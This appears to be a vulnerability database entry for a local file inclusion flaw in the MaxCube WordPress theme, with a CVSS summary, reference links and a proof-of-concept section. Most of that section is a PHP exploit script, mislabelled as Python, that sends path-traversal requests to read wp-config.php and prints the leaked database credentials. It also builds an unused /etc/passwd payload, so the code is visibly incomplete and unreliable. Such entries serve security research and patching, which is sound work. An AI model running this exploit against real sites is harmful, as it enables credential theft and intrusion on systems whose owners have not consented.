CVE-2025-60053

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes MaxCube maxcube allows PHP Local File Inclusion.This issue affects MaxCube: from n/a through <= 1.3.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MaxCube <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-60053 PoC - MaxCube LFI Vulnerability
 * Target: AncoraThemes MaxCube WordPress Theme <= 1.3.1
 * Type: Local File Inclusion via path traversal
 */

$target = 'http://target-site.com/wp-content/themes/maxcube/';

// LFI payload - read wp-config.php
$payload = '?file=../../../../wp-config.php';

$url = $target . $payload;

echo "[*] CVE-2025-60053 MaxCube LFI PoC\n";
echo "[*] Target: $target\n";
echo "[*] Sending request...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Status: $http_code\n";

if (strpos($response, 'DB_NAME') !== false || strpos($response, '<?php') !== false) {
    echo "[!] VULNERABLE - Sensitive file leaked!\n";
    echo "[+] File content:\n";
    echo $response;
} else {
    echo "[-] Not vulnerable or file not found\n";
}

// Alternative: Try reading /etc/passwd
$payload2 = '?file=../../../../etc/passwd';
$url2 = $target . $payload2;
echo "\n[*] Trying to read /etc/passwd...\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60053/
[4] VulDB https://vuldb.com/cve/CVE-2025-60053
[5] https://patchstack.com/database/Wordpress/Theme/maxcube/vulnerability/wordpress-maxcube-theme-1-3-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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